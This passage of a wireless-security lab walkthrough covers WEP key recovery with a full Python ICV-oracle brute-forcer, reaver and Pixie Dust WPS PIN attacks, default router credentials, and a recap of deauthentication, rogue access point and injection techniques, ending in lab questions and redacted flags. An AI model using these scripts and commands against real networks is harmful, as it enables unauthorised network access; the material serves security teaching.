As described in the Inside a WEP Frame task, a receiver decrypts each WEP frame and checks the ICV in the last four bytes of the decrypted data.

The ICV is an ordinary CRC32 over the plaintext and uses no key at all, so anybody who can decrypt a frame can run the same test as the receiver. We can take any encrypted frame from a capture and a guess at the key, and run that test ourselves to see whether the guess is the key that encrypted the frame. To do this, we use our guess in place of the real key and repeat the RC4 decryption and CRC32 comparison that we ran in the Inside a WEP Frame task. If the guess is wrong, the decryption only produces noise, and noise satisfies a 32-bit checksum roughly once in four billion attempts.

Running that test does not involve the network, since we do not need to associate with the access point, inject frames, capture a handshake or involve a second party. We do not need a radio either, because every candidate key is checked against bytes that are already on disk. Since all of the checking happens offline, an exhaustive search of the keyspace becomes conceivable.

The WEP search is very different from the WPA2 crack in the Attacking Open and WPA2-PSK Networks room when it comes to the cost of each candidate. In that room, a single candidate cost 8192 HMAC-SHA1 iterations against the captured handshake, but here it costs one 256-step RC4 key schedule and one frame.

Lab note: Nothing later in the room depends on the work below. It transmits nothing, touches no radio at all and runs entirely on the lab machine. It does depend on the key already recovered with aircrack-ng, because the narrowing used further down is built from it.

One Frame Is Enough

The ICV check itself only needs a single encrypted data frame from the target, so collecting frames is no longer the problem it was with the statistical attack. The script that we will write further down needs at least four protected data frames with distinct initialisation vectors, though. It uses two of the extra frames to re-test any key that it finds. On a capture that holds fewer than four, it stops with need 4 WEP data frames.

Throughout this task, we will use the wep-01.cap file that we wrote in the Capturing Initialisation Vectors task. It already holds tens of thousands of frames. Any other capture of F0:9F:C2:71:22:11 would work as well, as long as it holds at least four of these frames.

Writing the Oracle

We can write the whole check ourselves as a short Python script. Save the following as wepicv.py, in the same directory as the capture.

#!/usr/bin/env python3
"""
wepicv.py - recover a 40-bit WEP key from a captured frame by brute force
            over a NARROWED keyspace, using the frame's own ICV as the oracle.

WEP encrypts  plaintext || CRC32(plaintext)  with RC4 keyed by  IV || key.
The ICV is an unkeyed checksum of the data it protects, so anyone who guesses
the key correctly can prove it offline against a single captured frame:
decrypt, recompute the CRC32, compare. No handshake, no AP, no injection.

The keyspace is narrowed with a mask:
    hex digit  fixed nibble (known)
    ?          unknown nibble, 0-f
    X          this nibble repeats the nibble immediately before it

Usage:
    wepicv.py <capture.cap> --bssid F0:9F:C2:71:22:11 --mask <mask>
    wepicv.py <capture.cap> --bssid ... --mask <key> --show      # decrypt only
"""
import argparse
import struct
import sys
import time
from binascii import crc32

SBOX = bytes(range(256))


# ---------------------------------------------------------------- capture ---
def frames(path):
    """Yield raw 802.11 MPDUs from a DLT_IEEE802_11 (105) pcap."""
    data = open(path, "rb").read()
    magic = data[:4]
    if magic == b"\xd4\xc3\xb2\xa1":
        end = "<"
    elif magic == b"\xa1\xb2\xc3\xd4":
        end = ">"
    else:
        sys.exit("not a pcap file: magic %s" % magic.hex())
    linktype = struct.unpack(end + "I", data[20:24])[0]
    if linktype != 105:
        sys.exit("expected DLT_IEEE802_11 (105), got %d" % linktype)
    off = 24
    while off + 16 <= len(data):
        _, _, caplen, _ = struct.unpack(end + "IIII", data[off:off + 16])
        off += 16
        if off + caplen > len(data):
            break                       # truncated final record
        yield data[off:off + caplen]
        off += caplen


def parse_wep(mpdu, bssid):
    """Return (iv, keyid, ciphertext, addrs) for a protected data frame, else None."""
    if len(mpdu) < 34:
        return None
    fc0, fc1 = mpdu[0], mpdu[1]
    if (fc0 >> 2) & 3 != 2:             # type 2 = data
        return None
    if not fc1 & 0x40:                  # Protected Frame bit
        return None
    tods, fromds = fc1 & 1, (fc1 >> 1) & 1
    hdr = 30 if (tods and fromds) else 24
    if fc0 & 0x80:                      # QoS data subtype -> 2 byte QoS Control
        hdr += 2
    a1 = mpdu[4:10]
    a2 = mpdu[10:16]
    a3 = mpdu[16:22]
    if bssid not in (a1, a2, a3):
        return None
    body = mpdu[hdr:]
    # 802.11 FCS is a CRC32 over the whole MPDU; it is present in some captures
    # and stripped in others. Detect it without needing any key.
    if len(body) > 8 and crc32(mpdu[:-4]) & 0xFFFFFFFF == struct.unpack("<I", mpdu[-4:])[0]:
        body = body[:-4]
    if len(body) < 8:
        return None
    return mpdu[hdr:hdr + 3], mpdu[hdr + 3] >> 6, body[4:], (a1, a2, a3)


# -------------------------------------------------------------------- RC4 ---
def rc4_decrypt(seed, ct):
    S = bytearray(SBOX)
    j = 0
    sl = len(seed)
    for i in range(256):
        j = (j + S[i] + seed[i % sl]) & 255
        S[i], S[j] = S[j], S[i]
    out = bytearray(len(ct))
    i = j = 0
    for n, c in enumerate(ct):
        i = (i + 1) & 255
        j = (j + S[i]) & 255
        S[i], S[j] = S[j], S[i]
        out[n] = c ^ S[(S[i] + S[j]) & 255]
    return bytes(out)


def icv_ok(seed, ct):
    pt = rc4_decrypt(seed, ct)
    return crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]


# ------------------------------------------------------------------- mask ---
def expand(mask):
    """Yield every 5-byte key the mask allows, in order."""
    mask = mask.lower().replace(":", "")
    if len(mask) != 10:
        sys.exit("mask must be 10 nibbles for a 40-bit key")
    slots = []                          # (index, kind, arg)
    for i, c in enumerate(mask):
        if c in "0123456789abcdef":
            slots.append(("fix", int(c, 16)))
        elif c == "?":
            slots.append(("var", None))
        elif c == "x":
            if i == 0:
                sys.exit("X cannot be the first nibble")
            slots.append(("ref", i - 1))
        else:
            sys.exit("bad mask character %r" % c)
    var = [i for i, s in enumerate(slots) if s[0] == "var"]
    nib = [0] * 10
    for i, s in enumerate(slots):
        if s[0] == "fix":
            nib[i] = s[1]
    total = 16 ** len(var)
    for n in range(total):
        v = n
        for i in reversed(var):
            nib[i] = v & 15
            v >>= 4
        for i, s in enumerate(slots):
            if s[0] == "ref":
                nib[i] = nib[s[1]]
        yield bytes(nib[i] << 4 | nib[i + 1] for i in range(0, 10, 2))


def space_size(mask):
    return 16 ** sum(1 for c in mask.lower() if c == "?")


# ------------------------------------------------------------------ crack ---
def crack(iv, ct, mask, confirm, report=250000):
    """Brute force the mask against one frame's ICV, confirm hits on others."""
    t0 = ct[0] ^ 0xAA                   # every 802.11 data frame starts LLC/SNAP
    t1 = ct[1] ^ 0xAA                   # aa aa 03 ..., so two keystream bytes
    start = time.time()                 # are enough to drop 65535 of 65536 keys
    tried = 0
    nxt = report
    for key in expand(mask):
        tried += 1
        if tried == nxt:
            nxt += report
            el = time.time() - start
            print("  %9d keys  %6.1fs  %7.0f keys/s" % (tried, el, tried / el))
        # --- RC4 KSA, inlined: the seed is always 8 bytes for a 40-bit key ---
        S = bytearray(SBOX)
        j = 0
        kk = (iv + key) * 32            # 256 bytes, avoids a modulo per step
        for i, ki in enumerate(kk):
            si = S[i]
            j = (j + si + ki) & 255
            S[i] = S[j]
            S[j] = si
        # --- two keystream bytes: cheap reject before touching the rest ---
        a = S[1]
        S[1], S[a] = S[a], S[1]
        if S[(S[1] + a) & 255] != t0:
            continue
        b = (a + S[2]) & 255
        S[2], S[b] = S[b], S[2]
        if S[(S[2] + S[b]) & 255] != t1:
            continue
        # --- survivor: decrypt in full and let the ICV decide ---
        if icv_ok(iv + key, ct):
            if all(icv_ok(iv2 + key, ct2) for iv2, ct2 in confirm):
                el = time.time() - start
                return key, tried, el
    return None, tried, time.time() - start


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("capture")
    ap.add_argument("--bssid", required=True)
    ap.add_argument("--mask", required=True)
    ap.add_argument("--show", action="store_true", help="decrypt a frame and stop")
    args = ap.parse_args()

    bssid = bytes.fromhex(args.bssid.replace(":", ""))
    seen, pool = set(), []
    for mpdu in frames(args.capture):
        p = parse_wep(mpdu, bssid)
        if not p:
            continue
        iv, keyid, ct, addrs = p
        if iv in seen:                  # distinct IVs, so a hit is not luck
            continue
        seen.add(iv)
        pool.append((iv, keyid, ct, addrs))
        if len(pool) >= 4:
            break
    if len(pool) < 4:
        sys.exit("need 4 WEP data frames, found %d" % len(pool))

    pool.sort(key=lambda p: len(p[2]))  # shortest first: fewer RC4 bytes per test
    print("target BSSID %s" % args.bssid)
    for iv, keyid, ct, addrs in pool:
        print("  IV %s keyid %d  %3d bytes ciphertext  %s -> %s"
              % (iv.hex(), keyid, len(ct), addrs[1].hex(":"), addrs[0].hex(":")))
    iv, _, ct, _ = pool[0]
    confirm = [(p[0], p[2]) for p in pool[1:3]]

    if args.show:
        pt = rc4_decrypt(iv + bytes.fromhex(args.mask), ct)
        ok = crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]
        print("\nplaintext (%d bytes), ICV %s" % (len(pt) - 4, "valid" if ok else "INVALID"))
        print(pt[:-4].hex(" "))
        return

    print("\nkeyspace %s -> %d candidates" % (args.mask, space_size(args.mask)))
    key, tried, el = crack(iv, ct, args.mask, confirm)
    if key:
        print("\nKEY FOUND  %s   (%s)" % (key.hex(), key.hex(":")))
        print("  %d candidates in %.1fs (%.0f keys/s), confirmed on %d further frames"
              % (tried, el, tried / el, len(confirm)))
    else:
        print("\nNO KEY. keyspace exhausted: %d candidates in %.1fs (%.0f keys/s)"
              % (tried, el, tried / el))
        print("  the key is not in this keyspace, so the narrowing assumption was wrong")
        sys.exit(1)


if __name__ == "__main__":
    main()

The banner comments divide the file into four parts. The frames and parse_wep functions in the first part are used to read the capture. They walk the pcap record by record and keep only the protected data frames whose address fields mention the target BSSID. Each of these frames is then split into its three-byte initialisation vector, its key index and its ciphertext. The script stops reading once it has four frames with distinct initialisation vectors. It then sorts them shortest first, since a shorter ciphertext means fewer RC4 bytes to work through for each candidate. The search runs against the first frame, and any key that passes there is tested again against two of the other three before it is accepted.

The rc4_decrypt and icv_ok functions are used as the oracle, and together they come to about twenty-five lines. They do the same RC4 key scheduling, keystream generation and CRC32 comparison as wep-decrypt.py did in the Inside a WEP Frame task. A cracking tool needs nothing more than a check of this kind to decide that a key is correct. It decrypts with the candidate key and tests the result against something that only the right key produces.

The expand function is used to turn a mask into the sequence of keys that it allows. A hexadecimal digit in the mask fixes that nibble, a question mark leaves the nibble free across all sixteen values, and an X repeats the nibble immediately before it.

The crack function runs the search, and it also throws most candidates out early. Every 802.11 data frame opens with an LLC/SNAP header whose first bytes are fixed, so two bytes of keystream are known in advance for any frame. If a candidate does not produce those two bytes, it is abandoned after two steps of the generation loop instead of after decrypting a thousand bytes. This early check discards 65,535 of every 65,536 candidates before the checksum is ever reached.

Reading One Frame With the Key

First, we can give the script the key that aircrack-ng already recovered and add --show, so that it decrypts a single frame and stops. We should do this before we use the oracle on keys that might be wrong. It confirms that the capture parses, and that the oracle agrees with a key we know is right.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask <key> --show
target BSSID F0:9F:C2:71:22:11
  IV 64498e keyid 0  1040 bytes ciphertext  64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
  IV f8b243 keyid 0  1040 bytes ciphertext  f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56
  IV 64498f keyid 0  1040 bytes ciphertext  64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
  IV f8b244 keyid 0  1040 bytes ciphertext  f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56

plaintext (1036 bytes), ICV valid
aa aa 03 00 00 00 08 00 45 00 04 04 79 05 40 00 40 01 3a 6c c0 a8 01 36 c0 a8
01 01 08 00 34 fb 1d 31 0c 7f 5d d4 d6 6a 00 00 00 00 c9 98 09 00 00 00 00 00
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19

From the above output, we can see the four frames that the script selected, each with its own initialisation vector. Each frame travels between the access point and the station that the subnet scan already identified, and the direction alternates from one frame to the next. ICV valid is the oracle returning true, and the hex dump beneath it is the decrypted plaintext. The script prints the dump as a single line that runs on for the full 1036 bytes, and only its opening is reproduced above, broken over three lines.

The dump starts with aa aa 03 00 00 00 and 08 00, the same LLC/SNAP header and IPv4 ethertype that we read in the Inside a WEP Frame task. Its first two bytes are the known plaintext behind the early check in the crack function. A little further along, c0 a8 01 36 is 192.168.1.54 written in hexadecimal, the address of the station, and c0 a8 01 01 is 192.168.1.1, the gateway.

Narrowing the Search

A 40-bit key admits 1,099,511,627,776 possibilities. This implementation manages something of the order of thirteen thousand candidates a second on the lab machine, as we will measure further down. At that rate, a full search with this single-threaded Python script would take somewhere near two years and eight months. The exact figure changes with whatever else the machine is doing. A tuned implementation in C might reach ten million candidates a second, and even that would need about thirty hours for the whole space. Brute forcing the full keyspace is therefore not a practical way for us to recover a WEP key.

To make the search tractable, we need an assumption that shrinks the space. Whether we can treat that assumption as legitimate depends entirely on where it came from. Two kinds of assumption can be treated this way. In the first kind, a flaw in the vendor's key generator has already narrowed the space. One example is the Neesus Datacom routine, which shipped on a wide range of hardware in the 2000s. That routine folded an ASCII passphrase into a 21-bit seed, so the 40-bit keys it produced only ever occupied a space of 2,097,152. A search of that space is known as Newsham's 21-bit attack.

The second kind is partial disclosure, where part of the key is already known from somewhere other than the radio. That part might come from a management page that masks all but the first half of the key. It could also come from a photograph of the label on the underside of a router, a configuration backup with the tail removed, or a glimpse over a shoulder.

A third kind of assumption is one that is invented because it resembles how people behave, and we cannot treat this kind as legitimate. We can see what such an assumption costs by running one against the capture.

When the Assumption Is Wrong

The guess that we will test here is that each byte of the key is a single hexadecimal digit typed twice. People tend to produce keys of this shape when they want something memorable and the field will accept nothing but hexadecimal. We can express the guess with the mask ?X?X?X?X?X, where each ? is a free nibble and the X after it repeats that nibble. With five nibbles free, the mask admits sixteen to the fifth candidates, or 1,048,576. Next, we can run the script against wep-01.cap with this mask.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '?X?X?X?X?X'
keyspace ?X?X?X?X?X -> 1048576 candidates
     250000 keys    21.7s    11538 keys/s
     500000 keys    40.3s    12392 keys/s
     750000 keys    57.9s    12944 keys/s
    1000000 keys    74.9s    13346 keys/s

NO KEY. keyspace exhausted: 1048576 candidates in 78.4s (13367 keys/s)
  the key is not in this keyspace, so the narrowing assumption was wrong

From the above output, we can see that the search ran for 78.4 seconds and did not find a key. The key in use contains a byte whose two nibbles differ, and no repeated-digit pattern can produce a byte like that. A narrowed brute force has no way of telling an assumption that was wrong apart from a key that does not exist. In both cases, the search has to test every candidate in the keyspace before it can report anything.

We can use the same run as a control for the oracle itself. More than a million wrong keys were tried, and the test did not let any of them through. Most of these were rejected after the first two keystream bytes, before the checksum was reached. Any key reported would have had to pass that early check, then the checksum on the frame the search runs against, and then the checksum on two more frames.

When the Assumption Holds

Then, we can try a second mask that models partial disclosure. In this mask, the first five hexadecimal characters of the key are treated as already known, and the remaining five are left free. This keyspace is exactly the same size as the one that we just exhausted, so our script has no more work to do than before. When we run it, we should replace the <first five> placeholder with the first five characters of the key we recovered in the Recovering the WEP Key task.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '<first five>?????'
keyspace <first five>????? -> 1048576 candidates

KEY FOUND  <key>   (<key-with-colons>)
  <count> candidates in 24.5s (10178 keys/s), confirmed on 2 further frames

From the above output, we can see that the script found the key. The mask told it nothing about the final five nibbles, so those came from the capture alone, using only RC4 and a checksum comparison against the recorded ciphertext. The line confirmed on 2 further frames is the re-test, where the winning candidate was run against two of the other frames that were collected at the start. Each of those frames carries a different initialisation vector, and the candidate passed the check on both of them, so a false positive would have had to survive three independent 32-bit comparisons.

The candidate count on the last line, shown above as <count>, also gives us a consistency check against the key that aircrack-ng recovered in the Recovering the WEP Key task. The search walks the five free nibbles in a fixed order, with the last nibble changing fastest, so the point where it stops is set by the key itself. If we read the last five characters of the recovered key as a hexadecimal number and add one, we should get the same figure as the count. A smaller count would mean that the oracle had accepted a wrong key before the search reached the right one, and a larger count would mean that it had rejected the right key and accepted a wrong one later on.

Confirming With Another Tool

Since the key was recovered by our own script, we should also check it with an existing tool. We can use airdecap-ng with the key and the BSSID to write a decrypted copy of the capture called wep-01-dec.cap. Then, we can read the decrypted copy with tshark.

Terminal
user@debian-thm:~$ airdecap-ng -w <key> -b F0:9F:C2:71:22:11 wep-01.cap
Total number of stations seen            3
Total number of packets read          2794
Total number of WEP data packets      2789
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets      2789
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0
user@debian-thm:~$ tshark -r wep-01-dec.cap -c 4
    1   0.000000 192.168.1.54 → 192.168.1.1  ICMP 1042 Echo (ping) request  id=0x1d31, seq=3199/32524, ttl=64
    2   0.000020  192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply    id=0x1d31, seq=3199/32524, ttl=64 (request in 1)
    3   0.000031 192.168.1.54 → 192.168.1.1  ICMP 1042 Echo (ping) request  id=0x1d32, seq=3205/34060, ttl=64
    4   0.000045  192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply    id=0x1d32, seq=3205/34060, ttl=64 (request in 3)

From the above output, we can see that every WEP data packet in the file was decrypted and none of them was reported as corrupt. The decrypted traffic is ordinary ICMP echo between the station at 192.168.1.54 and the gateway at 192.168.1.1, and it is the live traffic of the subnet that we mapped in the Connecting to the WEP Network task. The packet totals depend on how long the capture was left running, so they will not match those above if our capture ran for a different length of time.

What the Exercise Settles

In this task, we wrote our own ICV oracle and ran it against two narrowed keyspaces. WEP's integrity check is unkeyed, so a single recorded frame is enough for us to confirm or reject a candidate key offline. The verification that a cracker performs is also small enough for us to hold in our heads, as it comes down to RC4 and a CRC32 comparison. However, the search itself is hopeless without some help, and in our case that help came from the crack that we had already performed. We took the first five characters of the key from that crack, so the search did not have to recover them from the radio.

The PTW attack from the How WEP Works and Why It Failed task does not need any help of this kind. It makes no assumption about the key and never has to search the keyspace, so it recovers the key in seconds. By comparison, a full search of the same keyspace with our script would take more than two years, as we calculated earlier in this task.

In the next task, we will look at how WPS works and why the PIN fails.

Answer the questions below

  1. The narrowed search stops the moment a candidate key satisfies the integrity check. How many candidates had it tested by then?

Task 10: How WPS Works and Why the PIN Fails

WPS (Wi-Fi Protected Setup) adds a second way of joining a network, and it bypasses the passphrase entirely. A user enters a short eight-digit PIN printed on the router, and once the PIN has been verified, the access point supplies the real passphrase to the user's device. Enabling WPS leaves the passphrase and the encryption as they were. However, the PIN is far shorter than the passphrase, and it gives anyone who enters it the same access to the network.

Why the PIN Is the Weak Point

An eight-digit PIN suggests one hundred million possible combinations, but the last digit is only a checksum, so just ten million of those PINs are valid. The access point also validates the PIN in two halves, which splits our search into a four-digit half and a three-digit half. Together they come to approximately eleven thousand guesses, and a keyspace of that size is small enough for us to exhaust over the air.

Once we have found the right PIN, we can join the network with it. The access point will also send us the passphrase, even if it is strong enough that it would never fall to a wordlist.

Identifying WPS Networks With wash

The wash tool ships alongside reaver, and its only job is to report which access points within range advertise WPS. Support for WPS is announced in the beacon itself, so we can find it without transmitting anything, and in its default survey mode wash simply listens. It is also possible to run wash in an active scan mode with -s, which probes each access point in turn, but we do not need that here.

We can run wash in its default survey mode against our wlan0mon interface using the following command.

Terminal
user@debian-thm:~$ sudo wash -i wlan0mon
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
F0:9F:C2:71:22:13    8  -30  2.0  No             Event-WiFi
02:00:00:00:21:00   11  -30  PBC  No             Depot-WPS

From the above output, we can see two networks, and they show different values in the WPS column. Depot-WPS shows PBC, meaning it is advertising a push-button session and not a PIN, and it is covered in the Defeating Wi-Fi Access Controls room. Event-WiFi shows 2.0, meaning it runs WPS version 2.0, and its Lck column reads No, so WPS is not locked. Many routers temporarily disable WPS after a series of failed PINs, and if WPS is locked on an access point, we will not be able to brute force the PIN.

Two Approaches to the PIN

Tool Method Trade-off
reaver Online brute force, testing PINs against the access point directly Reliable but noisy, and can take hours against a router that rate-limits
pixiewps Pixie Dust, recovering the PIN offline from one captured handshake Near-instant, but only against routers with weak randomness

On a network that exposes WPS, recovering the PIN with one of these two tools is usually easier for us than cracking the WPA2 passphrase. In the next task, we will carry out both approaches against Event-WiFi.

Answer the questions below

  1. What is the name of the offline WPS attack that recovers the PIN from a single exchange?

Task 11: Completing the WPS Attack

As the table in the previous task shows, Pixie Dust needs only one exchange with the access point and works offline after that. The online route, however, needs a live exchange with the access point for every PIN we try. We should always try Pixie Dust first for that reason, and move on to the online route only if it fails against the access point.

We can run the Pixie Dust attack from reaver itself by adding the -K flag, so we do not have to run pixiewps as a separate step. With this flag set, reaver starts the registration exchange with the access point in the normal way. Once the access point has committed to both halves of its PIN, reaver passes everything it has collected so far straight to pixiewps.

Terminal
user@debian-thm:~$ sudo reaver -i wlan0mon -b F0:9F:C2:71:22:13 -c 8 -K -vv

Reaver v1.6.6-git-25-gf9b5e15 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0mon to channel 8
[+] Waiting for beacon from F0:9F:C2:71:22:13
[+] Received beacon from F0:9F:C2:71:22:13
[+] Trying pin "<pin>"
[+] Sending authentication request
[+] Sending association request
[+] Associated with F0:9F:C2:71:22:13 (ESSID: Event-WiFi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
executing pixiewps -e 3dc90ada0451dbbb3d438af70c5ae4fc... -s 9c16706b5e2f5277... -z 1ee286e62e1dfa0a... -a fb1bb7931a588709... -n 0f1b075cc5084a3f... -r 15b24b1bbb47a71a...

 Pixiewps 1.4

 [-] WPS pin not found!

 [*] Time taken: 0 s 338 ms

[-] Pixiewps fail, sending WPS NACK
[+] Sending WSC NACK

The -vv flag raises the reporting level. By default, reaver is quiet and shows little beyond its final verdict, but with the second v it shows each message of the exchange as it happens.

As shown in the above output, the Pixie Dust attack failed. The values that pixiewps works from are collected from more than one message of the exchange. The access point's Diffie-Hellman public key and its nonce arrive in M1. The two hashes that commit the access point to each half of its PIN arrive in M3, which is the access point's next message after our M2. The authentication key is derived from the shared secret, and it is never sent.

The hashes commit the access point to its PIN, so the PIN can be recovered from them, but only where the nonces that were used to build them can be reproduced. Pixie Dust works against routers whose random number generation is poor enough that those nonces are predictable. On some routers the generator is seeded from something guessable, such as the boot time, and on others it produces almost no randomness. This access point produces its nonces properly, so more computation against this captured exchange would not help us recover the PIN.

The failed attack tells us that the implementation is sound in this specific respect, and that the online route is the only one we have left. It is important to note that reaver keeps a session file in the working directory, named after the target's address. If we run the online attack again later, reaver finds this file, opens on [?] Restore previous session for F0:9F:C2:71:22:13? [n/Y] and waits for an answer. Answering n makes it start the sweep again from the first PIN.

Next, we can run reaver again without the -K flag, so that it runs the online PIN attack against the access point itself.

Terminal
user@debian-thm:~$ sudo reaver -i wlan0mon -b F0:9F:C2:71:22:13 -c 8 -vv

Reaver v1.6.6-git-25-gf9b5e15 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0mon to channel 8
[+] Waiting for beacon from F0:9F:C2:71:22:13
[+] Received beacon from F0:9F:C2:71:22:13
[+] Trying pin "<pin>"
[+] Sending authentication request
[+] Sending association request
[+] Associated with F0:9F:C2:71:22:13 (ESSID: Event-WiFi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '<pin>'
[+] WPA PSK: '<passphrase>'
[+] AP SSID: 'Event-WiFi'

The two Sending WSC NACK lines after M7 do not mean that the attack failed. M7 is the message that carries the network's credentials, so once it arrives, reaver already has everything it needs and tears the registration down without completing it.

The PIN was cracked in two seconds, which is much faster than we would expect from the reduced keyspace of eleven thousand guesses. As shown in the Trying pin line, reaver started with the most common default WPS PIN in existence. A long list of vendors ship this PIN, and it is left in place on a great many of the devices that carry it, so reaver tries it before anything else. This access point was still using the default, so the first guess was correct and reaver did not need to try any of the other PINs in the keyspace.

However, we should not expect every WPS network to fall this quickly. If the device was given a random PIN, the first guess will miss it and we are left with a full walk through the keyspace. At the rate an access point accepts registration attempts, that walk takes hours, and it takes even longer if the device slows down or locks after repeated failures. The two-second result came from the default PIN, so we should always try it before starting a brute force, just as we would try admin before a password list.

The WPA PSK line below the PIN holds the network's passphrase. WPS gives the passphrase to any device that presents the correct PIN, so reaver collected it along with the PIN, and we did not need to crack the passphrase. The passphrase itself is eighteen characters long and mixes upper and lower case letters with symbols. It does not appear in any wordlist that we would reasonably use, so the attack that we ran on the Home-2G handshake in the Attacking Open and WPA2-PSK Networks room would not have worked against this network.

Using the Recovered Passphrase

Now that we have a genuine WPA2 passphrase, we can connect to the network in the ordinary way. It is the same procedure as in the Attacking Open and WPA2-PSK Networks room. Since this network really does derive a pre-shared key, we can generate the profile with wpa_passphrase. The passphrase should be put in single quotes, as it contains characters that the shell would otherwise interpret.

Terminal
user@debian-thm:~$ sudo pkill -f 'wpa_supplicant.*wlan1'
user@debian-thm:~$ wpa_passphrase Event-WiFi '<passphrase>' > event.conf
user@debian-thm:~$ sudo wpa_supplicant -B -i wlan1 -c event.conf
Successfully initialized wpa_supplicant
user@debian-thm:~$ sudo dhclient -v wlan1
...
DHCPOFFER of 192.168.3.61 from 192.168.3.1
DHCPACK of 192.168.3.61 from 192.168.3.1
bound to 192.168.3.61 -- renewal in 40899 seconds.

As shown in the above output, dhclient has bound wlan1 to 192.168.3.61. The gateway at 192.168.3.1 runs the same panel as the other networks, so we can log in to it with the same default credentials.

Terminal
user@debian-thm:~$ curl -s -c cookies.txt -d "Username=admin&Password=admin&Submit=Submit" http://192.168.3.1/login.php -o /dev/null
user@debian-thm:~$ curl -s -b cookies.txt http://192.168.3.1/index.php
<!DOCTYPE html>
<html>
<head>
    <title>WiFi Router Configuration</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
...
Welcome admin<br><br>Flag: <button onclick="copyFlagToClipboard('THM{REDACTED}')">THM{REDACTED}</button>

Answer the questions below

  1. What is the WPS PIN of Event-WiFi?
  2. What is the WPA2 passphrase recovered through WPS?
  3. What is the flag from the WPS network?

Task 12: Conclusion

Both of the networks in this room would have been overlooked if we had only brought tools for current protocols. We recovered the WEP key of one network from captured traffic in seconds, then took the same key a second time from a station without ever contacting the access point, and a third time with a search that ran only on the lab machine. The eighteen-character WPA2 passphrase of the other network came from its own access point, and each of the two networks gave us a router flag.

In this room, we used the following techniques:

  • Targeted vector collection: We used airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w wep wlan0mon to pin the radio to one channel and one BSSID, and we watched the #Data column to measure our progress, without using the Beacons column for this.
  • Fake authentication and ARP request replay: We used aireplay-ng -1 0 to have the access point accept 02:00:00:00:00:00 as a station, and then aireplay-ng -3 to replay a captured ARP request at around 500 packets per second, with each copy drawing a reply that carried a fresh vector. Home-Legacy is busy enough that it does not need the replay, so it is a safe network for us to practise the technique on before we meet a quiet network that does.
  • Forging traffic without the key: We used aireplay-ng -5 to walk a recovered keystream up to 1500 bytes by having the access point reassemble the fragments we fed it, and packetforge-ng -0 turned that keystream into a valid encrypted ARP request. Then, we injected the forged request with aireplay-ng -2 -F at 800 frames a second until the capture held enough initialisation vectors to recover the key. The network itself had generated almost none of the vectors in that capture.
  • Taking the key from the client: We used hostapd-mana on wlan4 to answer to Home-Legacy while aireplay-ng -0 evicted 64:32:A8:56:32:56 from the real access point. The station then associated with our rogue access point and began asking after its gateway. A verbatim replay of that request produced almost nothing, because the station is not the address being asked about. Once we bit-flipped the encrypted request to ask after the station's own address, every flipped copy drew a reply carrying a fresh vector. We did not contact the real network at any point, and the capture held only frames from the station and our rogue access point. After that, aircrack-ng recovered the same key from this capture.
  • Statistical key recovery: We ran aircrack-ng -b F0:9F:C2:71:22:11 wep-01.cap over 35,732 vectors, and the PTW attack explained in the How WEP Works and Why It Failed task returned the 40-bit key in a few seconds. The line Decrypted correctly: 100% confirmed that this was the live key.
  • Reading the cipher out of a frame: We used tshark -T fields -e wlan.wep.iv to print the three public bytes from each encrypted frame, and we could see each transmitter running its own counter upward. Then, we used wep-decrypt.py to seed RC4 with IV || key, decrypt a real frame and match its CRC32 against the four trailing bytes. We can use this same check as an oracle when we do not yet know the key.
  • Bit-flipping without the key: We used wep-bitflip.py to flip eight bits deep inside a captured frame and derive the matching ICV correction from the mask alone, and the receiver accepted the forged frame as intact.
  • Association with a raw key: wpa_passphrase could not generate a configuration for this network, so we wrote homelegacy.conf by hand. The file sets key_mgmt=NONE and wep_tx_keyidx=0, and holds the ten hexadecimal characters of the key in wep_key0. After that, we used wpa_supplicant on wlan1 and dhclient to take a lease on 192.168.1.0/24.
  • Exhausting a narrowed keyspace: We used wepicv.py to treat the CRC32 check as a test oracle and try candidate keys against one captured frame. The full forty-bit keyspace is out of reach for a search like this, but a keyspace narrowed by what we already know from the assessment is small enough to work through. The script stopped on the first candidate whose checksum verified. After that, airdecap-ng decrypted wep-01.cap with the recovered key and reported none of its WEP data packets as corrupt.
  • Enumeration behind the key: We used nmap -sn 192.168.1.0/24 to find the gateway, our new lease and one other client at 192.168.1.54. The panel at 192.168.1.1 opened to the default admin credentials over curl and released its flag. The same network had also reused the WEP key as a service password.
